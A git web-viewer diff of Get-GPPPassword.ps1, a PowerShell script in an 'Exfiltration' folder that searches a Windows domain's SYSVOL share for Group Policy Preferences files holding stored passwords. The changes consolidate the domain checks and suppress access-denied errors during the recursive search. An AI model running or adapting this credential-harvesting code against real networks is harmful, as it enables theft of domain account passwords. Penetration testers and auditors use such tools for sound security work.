aboutsummaryrefslogtreecommitdiff
path: root/Exfiltration/Get-GPPPassword.ps1
diff options
context:
space:
mode:
Diffstat (limited to 'Exfiltration/Get-GPPPassword.ps1')
-rw-r--r--Exfiltration/Get-GPPPassword.ps118
1 files changed, 13 insertions, 5 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 7204a45..ed331ad 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -1,4 +1,4 @@
-function Get-GPPPassword {
+function Get-GPPPassword {
<#
.SYNOPSIS
@@ -61,12 +61,19 @@
}
#ensure that machine is domain joined and script is running as a domain account
- if (((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False) {throw 'Machine is not joined to a domain.'}
- if (($Env:USERDNSDOMAIN) -eq $Null) {throw 'Account is not a domain account.'}
+ if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) )
+ {
+ throw 'Machine is not joined to a domain.'
+ }
- #discover potential files containing passwords
- $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -Include 'groups.xml','services.xml','scheduledtasks.xml','datasources.xml'
+ #discover potential files containing passwords ; not complaining in case of denied access to a directory
+ $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml'
+ if ( -not $XMlFiles )
+ {
+ throw 'No files containing encrypted passwords found.'
+ }
+
foreach ($File in $XMLFiles) {
try {
@@ -81,6 +88,7 @@
$UserName = ''
$NewName = ''
$Changed = ''
+ $Password = ''
switch ($Filename) {